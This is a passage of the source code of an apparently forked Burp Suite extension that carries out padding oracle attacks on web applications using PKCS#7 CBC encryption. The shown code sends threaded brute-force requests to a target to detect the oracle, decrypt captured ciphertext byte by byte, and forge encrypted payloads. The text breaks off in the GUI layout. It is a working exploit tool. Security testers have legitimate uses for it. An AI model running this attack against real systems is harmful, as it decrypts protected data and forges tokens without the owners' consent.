forked from GovTech-CSG/PaddingOracleHunter
-
Notifications
You must be signed in to change notification settings - Fork 2
/
padding_oracle_hunter.py
1504 lines (1226 loc) · 75.2 KB
/
padding_oracle_hunter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from burp import IBurpExtender, IContextMenuFactory, ITab, IExtensionStateListener, IContextMenuInvocation, IHttpRequestResponse
from javax.swing import (JScrollPane, JPanel, JTabbedPane, JTextField, JLabel, JTextArea, JButton, JEditorPane, JMenuItem, JComboBox, JCheckBox, JOptionPane, JProgressBar, GroupLayout)
from java.lang import Short
from java.awt import Color
from binascii import hexlify, unhexlify
import re
import threading
import Queue
import random
import base64
import time
from collections import Counter, namedtuple
class BurpExtender(IBurpExtender, IContextMenuFactory, ITab, IExtensionStateListener):
# *************************************** PKCS#7 ***************************************
# global variables
gReqResPKCS7 = IHttpRequestResponse
gSelectedParamNamePKCS7 = ""
gHttpRequestStringPKCS7 = ""
gHttpRequestRawStringPKCS7 = ""
gPayloadPKCS7=""
gPayloadFormatPKCS7=""
gSelectedPayloadPKCS7=None
gThreadStopPKCS7=False
gOpThreadPKCS7 = None
gIsPayloadUrlEncodedPKCS7 = False
gresDictPKCS7={}
gPlaintextPKCS7 = ""
gIvPKCS7 = ""
gBlockSizePKCS7 = ""
gThreadPKCS7 = ""
gPadMsgPKCS7 = ""
gPadMsgSelPKCS7 = ""
def DisplayOutput_PKCS7(self, text):
self.__jTextAreaOutputPKCS7.append(text)
def Worker_PKCS7(self, payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, PadMsg, start_byte, end_byte, mode, q):
for byteValue in range(start_byte,end_byte):
# Exit the operation if stop button was clicked
if(self.gThreadStopPKCS7):
return
# modify the block according to the padding value
mod_block = current_block[0:blockLen-(numOfPad*2)] + hex(byteValue).rstrip("L").replace('0x','').rjust(2,'0') + mod_byte
if(mode=="test"):
payload = encrypted_payload.replace(current_block, mod_block)
# send the web refresh request to check for oracle
result = self.ServiceRequest_PKCS7(payload)
ResInfo = self._helpers.analyzeResponse(result)
response = result[ResInfo.getBodyOffset():]
self.gresDictPKCS7[payload] = unhexlify(hexlify(response))
else:
if(mode=="enc"):
# dummy block to be appended to the encrypted block so that length is the same as the original payload
dummyblock = self.GetDummyBlock_PKCS7(blockLen *((payloadLen//blockLen)-2))
# send the web request
result = self.ServiceRequest_PKCS7(dummyblock + mod_block + encrypted_payload)
elif(mode=="dec"):
# send the web request
result = self.ServiceRequest_PKCS7(encrypted_payload.replace(current_block,mod_block))
# if the message is an invalid padding message
if self.gPadMsgSelPKCS7=="Invalid":
if (hexlify(PadMsg.encode()) not in hexlify(result)):
decb4xor = byteValue ^ numOfPad
q.put(decb4xor)
return
# if the message is a valid padding message
else:
if (hexlify(PadMsg.encode()) in hexlify(result)):
decb4xor = byteValue ^ numOfPad
q.put(decb4xor)
return
# return if the correct padding is already found
if(not q.empty()):
return
def ServiceRequest_PKCS7(self, encrypted_string):
try:
# Convert the payload back to the original format from hex
payload = self.ConvertFromHexToPayloadFormat(encrypted_string, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
if payload != None:
# Replace the #PAYLOAD# with the actual payload
newHttpRequest = self.gHttpRequestStringPKCS7.replace("#PAYLOAD#", payload)
# Update the http parameters
reqInfo = self._helpers.analyzeRequest(newHttpRequest)
headers = reqInfo.getHeaders()
param = newHttpRequest[reqInfo.getBodyOffset():]
newHttpRequest = self._helpers.buildHttpMessage(headers, param)
# Send the request
httpService = self.gReqResPKCS7.getHttpService()
res = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(httpService.getHost(),httpService.getPort(), httpService.getProtocol() == "https"), newHttpRequest)
return res.getResponse()
except Exception as e:
return ""
def GetDummyBlock_PKCS7(self, length):
HexChar=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
DummyBlock=""
for i in range(0,length):
DummyBlock = DummyBlock + HexChar[random.randint(0,15)]
return DummyBlock
def Test_PKCS7(self, encrypted_string):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7)*2
payloadLen = len(encrypted_string)
nbOfBlock = payloadLen//blockLen
dummyblock = self.GetDummyBlock_PKCS7(blockLen*(nbOfBlock-1))
encrypted_payload = dummyblock + encrypted_string[-blockLen:]
current_block = encrypted_payload[-(blockLen*2):][0:blockLen]
self.gresDictPKCS7 = {}
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, "", 1, "", start_byte_range, end_byte_range, "test", None))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, "", 1, "", start_byte_range, end_byte_range, "test", None))
threads.append(x)
x.start()
# wait until all threads are complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# check the padding responses
resCount = Counter(self.gresDictPKCS7.values())
if len(resCount)==2:
validPadRes = ""
invalidPadRes = ""
isValidPadResFound = False
isInvalidPadResFound = False
for response in resCount:
# if there is 1 unique response, it is likely the valid padding response
if(resCount[response]==1):
isValidPadResFound = True
validPadRes = response
# there should be 255 same reponses for invalid padding
elif(resCount[response]==255):
isInvalidPadResFound = True
invalidPadRes = response
# check and print the result
if(isValidPadResFound==True and isInvalidPadResFound==True):
self.__jTextAreaOutputPKCS7.setForeground(Color(255, 0, 0))
key_list = list(self.gresDictPKCS7.keys())
val_list = list(self.gresDictPKCS7.values())
# Retrive the payload for invalid padding
invalidpad_payload = key_list[val_list.index(invalidPadRes)]
invalidpad_payload = self.ConvertFromHexToPayloadFormat(invalidpad_payload, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
# Retrive the payload for valid padding
validpad_payload = key_list[val_list.index(validPadRes)]
validpad_payload = self.ConvertFromHexToPayloadFormat(validpad_payload, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
# Display the invalid padding response
self.DisplayOutput_PKCS7("**** Invalid Padding: ****\n")
self.DisplayOutput_PKCS7("Payload:\n{}\n".format(invalidpad_payload))
self.DisplayOutput_PKCS7("Response:\n{}\n\n".format(invalidPadRes))
# Display the valid padding response
self.DisplayOutput_PKCS7("**** Valid Padding: ****\n")
self.DisplayOutput_PKCS7("Payload:\n{}\n".format(validpad_payload))
self.DisplayOutput_PKCS7("Response:\n{}\n\n".format(validPadRes))
# Display the conclusion
self.DisplayOutput_PKCS7("The server is likely vulnerable to padding oracle attack\n")
else:
# Display the conclusion
self.DisplayOutput_PKCS7("The server is not vulnerable to padding oracle attack\n")
else:
# Display the conclusion
self.DisplayOutput_PKCS7("The server is not vulnerable to padding oracle attack\n")
# set progress bar to complete
self.__jProgressBarPKCS7.setValue(100)
self.__jProgressBarPKCS7.setString("Done")
def Encryption_PKCS7(self):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7) *2
plaintextblock = []
ciphertext=""
self.DisplayOutput_PKCS7("Encrypting plaintext: {}\n".format(self.gPlaintextPKCS7))
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# calculate and compute the padding
padding_len = (len(self.gPlaintextPKCS7)//2)%int(self.gBlockSizePKCS7)
if(padding_len==0):
padding_len=int(self.gBlockSizePKCS7)
else:
padding_len = int(self.gBlockSizePKCS7) - padding_len
padding = (hex(padding_len).rstrip("L").replace('0x','').rjust(2,'0'))*padding_len
msg_hex = self.gPlaintextPKCS7 + padding
payloadLen = len(msg_hex)
# store the plaintext as blocks
for index in range(len(msg_hex),0,-blockLen):
plaintextblock.append(msg_hex[index-blockLen:index])
# set last encrypted block with random bytes
last_encrypted_payload = self.GetDummyBlock_PKCS7(blockLen)
encrypted_payload = last_encrypted_payload
# store the last blocks as ciphertext
ciphertext = last_encrypted_payload
# Start computing the ciphertext
self.DisplayOutput_PKCS7('Computing Padding Oracle Encryption..\n')
self.DisplayOutput_PKCS7("Computed Blocks in Hexadecimal:\n")
self.DisplayOutput_PKCS7("block 1: {}\n".format(encrypted_payload))
for i in range(0,len(plaintextblock)):
decb4xorstring=""
mod_byte=""
current_block = self.GetDummyBlock_PKCS7(blockLen)
# number of byte for padding
for numOfPad in range(1,int(self.gBlockSizePKCS7)+1):
if(decb4xorstring!=""):
tmp_byte = (hex(numOfPad).rstrip("L").replace('0x','').rjust(2,'0'))*(numOfPad-1)
mod_byte = hex(int(tmp_byte,16) ^ int(decb4xorstring,16)).rstrip("L").replace('0x','').rjust((numOfPad-1)*2,'0')
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
q = Queue.Queue()
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "enc", q))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "enc", q))
threads.append(x)
x.start()
# wait until all threads complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# if the valid padding is found
if(not q.empty()):
decb4xor = q.get()
q.task_done()
decb4xorstring = hex(decb4xor).rstrip("L").replace('0x','').rjust(2,'0') + decb4xorstring
index = blockLen-(numOfPad*2)
ciphertext = hex(decb4xor ^ int(plaintextblock[i][index:index+2],16)).rstrip("L").replace('0x','').rjust(2,'0') + ciphertext
else:
self.DisplayOutput_PKCS7("\nUnable to find valid padding!\n")
self.__jProgressBarPKCS7.setString("")
return
# assigned the current recovered ciphertext to encrypted payload
encrypted_payload = ciphertext[0:blockLen]
self.DisplayOutput_PKCS7("block {}: {}\n".format(i+2,encrypted_payload))
# update the progress bar
progress = int((i+1)/float(len(plaintextblock))*100)
self.__jProgressBarPKCS7.setValue(progress)
# return the encrypted payload into the desired format
ciphertext = self.ConvertFromHexToPayloadFormat(ciphertext, self.gPayloadFormatPKCS7, self.gIsPayloadUrlEncodedPKCS7)
if(ciphertext!=None):
# set progress bar to complete
self.__jProgressBarPKCS7.setString("Done")
# output the encrypted payload
self.DisplayOutput_PKCS7("\nencrypted payload:\n")
self.DisplayOutput_PKCS7("{}\n".format(ciphertext))
def Decryption_PKCS7(self, encrypted_string):
# initialize the variables
blockLen = int(self.gBlockSizePKCS7)*2
plaintext=""
blocktext=""
# Prepend IV to the ciphertext if it is not in the ciphertext
if (encrypted_string[0:blockLen] != self.gIvPKCS7):
encrypted_string = self.gIvPKCS7 + encrypted_string
payloadLen = len(encrypted_string)
nbOfBlock = payloadLen//blockLen
dummyblock = self.GetDummyBlock_PKCS7(blockLen*(nbOfBlock-1))
blockCounter=1
self.DisplayOutput_PKCS7("Decrypting ciphertext: {}\n".format(encrypted_string[blockLen::]))
self.DisplayOutput_PKCS7("IV: {}\n".format(self.gIvPKCS7))
# limit the number of thread to 256
numberOfThread = int(self.gThreadPKCS7)
if(numberOfThread>=256):
numberOfThread = 256
# Start decryption
self.DisplayOutput_PKCS7("Computing Padding Oracle Decryption......\n")
self.DisplayOutput_PKCS7("Recovered Blocks in Hexadecimal:\n")
# Split the block (value of n-1 block is required to recover n block)
for block in range(nbOfBlock-2,-1,-1):
decb4xorstring=""
mod_byte=""
# number of byte for padding
for numOfPad in range(1,int(self.gBlockSizePKCS7)+1):
# Extract the current encrypted byte to be recovered
currentByte = encrypted_string[-(blockCounter*blockLen)-(numOfPad*2):][0:2]
# Prepare the payload
encrypted_payload = dummyblock + encrypted_string[(-blockCounter*blockLen):][0:blockLen]
# Extract the current working block
current_block = encrypted_payload[(-blockLen*2):][0:blockLen]
if(decb4xorstring!=""):
tmp_byte = (hex(numOfPad).rstrip("L").replace('0x','').rjust(2,'0'))*(numOfPad-1)
mod_byte = hex(int(tmp_byte,16) ^ int(decb4xorstring,16)).rstrip("L").replace('0x','').rjust((numOfPad-1)*2,'0')
# check byte from 0 - 255 to find the correct padding value
threads = list()
byte_range = 256//numberOfThread
byte_remain = 256%numberOfThread
q = Queue.Queue()
# create and execute the threads
for k in range(0,numberOfThread):
start_byte_range = k * byte_range
end_byte_range = (k+1) * byte_range
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "dec", q))
threads.append(x)
x.start()
# left over thread if there is any
if(byte_remain != 0):
start_byte_range = (k+1) * byte_range
end_byte_range = ((k+1) * byte_range) + byte_remain
x = threading.Thread(target=self.Worker_PKCS7, args=(payloadLen, blockLen, current_block, encrypted_payload, mod_byte, numOfPad, self.gPadMsgPKCS7, start_byte_range, end_byte_range, "dec", q))
threads.append(x)
x.start()
# wait until all threads complete
for x in threads:
x.join()
# Exit the operation if stop button was clicked
if self.gThreadStopPKCS7:
return
# if the valid padding is found
if(not q.empty()):
decb4xor = q.get()
q.task_done()
decb4xorstring = hex(decb4xor).rstrip("L").replace('0x','').rjust(2,'0') + decb4xorstring
index = blockLen-(numOfPad*2)
blocktext = hex(decb4xor ^ int(currentByte,16)).rstrip("L").replace('0x','').rjust(2,'0') + blocktext
else:
self.DisplayOutput_PKCS7("\nUnable to find correct padding!\n")
self.__jProgressBarPKCS7.setString("")
return
plaintext = blocktext + plaintext
self.DisplayOutput_PKCS7("block {}: {}\n".format(blockCounter,blocktext))
blocktext=""
# update the progress bar
progress = int((blockCounter/float(nbOfBlock-1))*100)
self.__jProgressBarPKCS7.setValue(progress)
blockCounter = blockCounter+1
# set progress bar to complete
self.__jProgressBarPKCS7.setString("Done")
# output the plaintext
self.DisplayOutput_PKCS7("\nDecrypted plaintext:\n")
self.DisplayOutput_PKCS7("Hex: {}\n".format(plaintext))
self.DisplayOutput_PKCS7("Bytes: {}\n".format(unhexlify(plaintext)))
def InputValidation_PKCS7(self, mode):
try:
# Set default font display to black
self.__jTextAreaOutputPKCS7.setForeground(Color(0, 0, 0))
# make sure all the previous thread was terminated
if self.gOpThreadPKCS7!=None and self.gOpThreadPKCS7.isAlive():
JOptionPane.showMessageDialog(self._jPaddingOracleTab,"Previous thread is still running! Please click the stop button to terminate it", "Warning", JOptionPane.WARNING_MESSAGE)
return False
# reset the variables
self.gThreadStopPKCS7 = False
self.__jTextAreaOutputPKCS7.setText("")
self.__jProgressBarPKCS7.setValue(0)
self.__jProgressBarPKCS7.setString("")
self.__jProgressBarPKCS7.setStringPainted(True)
# check if the payload is selected
if self.gSelectedPayloadPKCS7==None:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Incorrect payload selection!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# Get block size
self.gBlockSizePKCS7 = self.__jComboBoxBlockSizePKCS7.getSelectedItem()
# Get number of thread
thread = re.sub('\W+','',self.__textThreadPKCS7.getText())
if thread=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide a valid thread number!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gThreadPKCS7 = thread
# Get plaintext for encryption operation
if mode=="encrypt":
plaintext_string = re.sub('\W+','', self.__textPlaintextPKCS7.getText())
if plaintext_string=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide the plaintext in hexadecimal!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# check whether the plaintext is hexadecimal value
unhexlify(plaintext_string.encode())
self.gPlaintextPKCS7 = plaintext_string
# verify the length of ciphertext and IV
if mode=="decrypt" or mode=="test":
# The length of the ciphertext need to be multiple of block size
if((len(self.gPayloadPKCS7)+(int(self.gBlockSizePKCS7)*2)) % (int(self.gBlockSizePKCS7)*2)!=0):
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Invalid length of the selected ciphertext!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# Validate for IV
iv_string = re.sub('\W+','', self.__textIvPKCS7.getText())
# IV is provided
if iv_string!="":
# check whether the length of IV is same as the block size
if len(iv_string)!=int(self.gBlockSizePKCS7)*2:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "The length of the IV must be the same as Block Size!", "Error", JOptionPane.ERROR_MESSAGE)
return False
# check whether the iv is hexadecimal value
unhexlify(iv_string.encode())
self.gIvPKCS7 = iv_string
# No IV is provided
else:
# check ciphertext length need to be at least 2 block
if(len(self.gPayloadPKCS7) < int(self.gBlockSizePKCS7)*4):
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Insufficient length of the ciphertext, it needs to has at least 2 blocks!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gIvPKCS7 = self.gPayloadPKCS7[0:int(self.gBlockSizePKCS7)*2]
# Only used in the encryption or decryption operations
if mode!="test":
# Get valid or invalid padding message
self.gPadMsgSelPKCS7 = self.__jComboBoxPadMsgPKCS7.getSelectedItem()
PadMsg = self.__textPadMessagePKCS7.getText()
if PadMsg=="":
JOptionPane.showMessageDialog(self._jPaddingOracleTab, "Please provide part or full of the valid or invalid padding response!", "Error", JOptionPane.ERROR_MESSAGE)
return False
self.gPadMsgPKCS7 = PadMsg
return True
except Exception as e:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, e, "Exception", JOptionPane.ERROR_MESSAGE)
return False
def setGUI_PKCS7(self):
self.__jPanelPKCS7 = JPanel()
jPanelLayoutPKCS7 = GroupLayout(self.__jPanelPKCS7)
self.__jPanelPKCS7.setLayout(jPanelLayoutPKCS7)
jPanelLayoutPKCS7.setAutoCreateGaps(True)
jPanelLayoutPKCS7.setAutoCreateContainerGaps(True)
self.__jLabelReqPKCS7 = JLabel("Request")
self.__jScrollPaneReqPKCS7 = JScrollPane()
self.__jEditorPaneReqPKCS7 = JEditorPane()
self.__jEditorPaneReqPKCS7.setEditable(False)
self.__jScrollPaneReqPKCS7.setViewportView(self.__jEditorPaneReqPKCS7)
self.__jLabelThreadPKCS7 = JLabel("Thread:")
self.__textThreadPKCS7 = JTextField("1")
self.__textThreadPKCS7.setToolTipText("number of thread")
self.__jLabelBlockSizePKCS7 = JLabel("Block Size:")
self.__jComboBoxBlockSizePKCS7 = JComboBox(['16', '8'])
self.__jComboBoxBlockSizePKCS7.setSelectedIndex(0)
self.__jLabelPadMessagePKCS7 = JLabel("Padding Response:")
self.__textPadMessagePKCS7 = JTextField()
self.__textPadMessagePKCS7.setToolTipText("part or full of the valid or invalid padding response, only used in the encryption and decryption operations")
self.__jComboBoxPadMsgPKCS7 = JComboBox(['Invalid', 'Valid'])
self.__jComboBoxPadMsgPKCS7.setSelectedIndex(0)
self.__jButtonClearPayloadPKCS7 = JButton("Clear Selection",actionPerformed=self.clearPayload_PKCS7)
self.__jButtonSelPayloadPKCS7 = JButton("Select Payload",actionPerformed=self.selectPayload_PKCS7)
self.__jLabelFormatPKCS7 = JLabel("Format:")
self.__jComboBoxFormatPKCS7 = JComboBox(['Hex', 'Base64', 'Decimal'])
self.__jComboBoxFormatPKCS7.setSelectedIndex(0)
self.__jCheckBoxUrlEncodedPKCS7=JCheckBox("Url Encoded")
self.__jButtonTestPKCS7 = JButton("Test", actionPerformed=self.testPayload_PKCS7)
self.__jButtonEncPKCS7 = JButton("Encrypt", actionPerformed=self.encryptPayload_PKCS7)
self.__jButtonDecPKCS7 = JButton("Decrypt", actionPerformed=self.decryptPayload_PKCS7)
self.__jButtonStopPKCS7 = JButton("Stop", actionPerformed=self.stopOperation_PKCS7)
self.__jLabelOutPKCS7 = JLabel("Output")
self.__jTextAreaOutputPKCS7 = JTextArea()
self.__jTextAreaOutputPKCS7.setEditable(False)
self.__jTextAreaOutputPKCS7.setColumns(20)
self.__jTextAreaOutputPKCS7.setRows(5)
self.__jScrollPaneOutPKCS7 = JScrollPane()
self.__jScrollPaneOutPKCS7.setViewportView(self.__jTextAreaOutputPKCS7)
self.__jLabelPlaintextPKCS7 = JLabel("Plaintext:")
self.__textPlaintextPKCS7 = JTextField()
self.__textPlaintextPKCS7.setToolTipText("plaintext in hexadecimal, only use in the encryption operation")
self.__jLabelIvPKCS7 = JLabel("IV:")
self.__textIvPKCS7 = JTextField()
self.__textIvPKCS7.setToolTipText("IV in hexadecimal, only use in decryption operation. If it is empty, the first block of the selected payload will be used as IV")
self.__jProgressBarPKCS7 = JProgressBar()
jPanelLayoutPKCS7.setHorizontalGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelReqPKCS7)
.addComponent(self.__jScrollPaneReqPKCS7, GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGap(300, 300, 300)
.addComponent(self.__jButtonSelPayloadPKCS7)
.addGap(20, 20, 20)
.addComponent(self.__jLabelFormatPKCS7)
.addComponent(self.__jComboBoxFormatPKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
.addComponent(self.__jCheckBoxUrlEncodedPKCS7)
.addGap(20, 20, 20)
.addComponent(self.__jButtonClearPayloadPKCS7))
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelThreadPKCS7)
.addComponent(self.__jLabelBlockSizePKCS7)
.addComponent(self.__jLabelPadMessagePKCS7)
.addComponent(self.__jLabelPlaintextPKCS7)
.addComponent(self.__jLabelIvPKCS7))
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__textThreadPKCS7, GroupLayout.PREFERRED_SIZE, 112, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxBlockSizePKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPadMessagePKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPlaintextPKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textIvPKCS7, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jComboBoxPadMsgPKCS7,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addComponent(self.__jLabelOutPKCS7)
.addComponent(self.__jScrollPaneOutPKCS7,GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addGap(165, 165, 165)
.addComponent(self.__jButtonTestPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonEncPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonDecPKCS7)
.addGap(165, 165, 165)
.addComponent(self.__jButtonStopPKCS7))
.addComponent(self.__jProgressBarPKCS7, GroupLayout.PREFERRED_SIZE, 1080, GroupLayout.PREFERRED_SIZE)
)
jPanelLayoutPKCS7.setVerticalGroup(
jPanelLayoutPKCS7.createSequentialGroup()
.addComponent(self.__jLabelReqPKCS7)
.addComponent(self.__jScrollPaneReqPKCS7, GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(15, 15, 15)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jButtonSelPayloadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jLabelFormatPKCS7)
.addComponent(self.__jComboBoxFormatPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jCheckBoxUrlEncodedPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonClearPayloadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelThreadPKCS7)
.addComponent(self.__textThreadPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelBlockSizePKCS7)
.addComponent(self.__jComboBoxBlockSizePKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS7.createParallelGroup()
.addComponent(self.__jLabelPadMessagePKCS7)
.addComponent(self.__textPadMessagePKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxPadMsgPKCS7, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
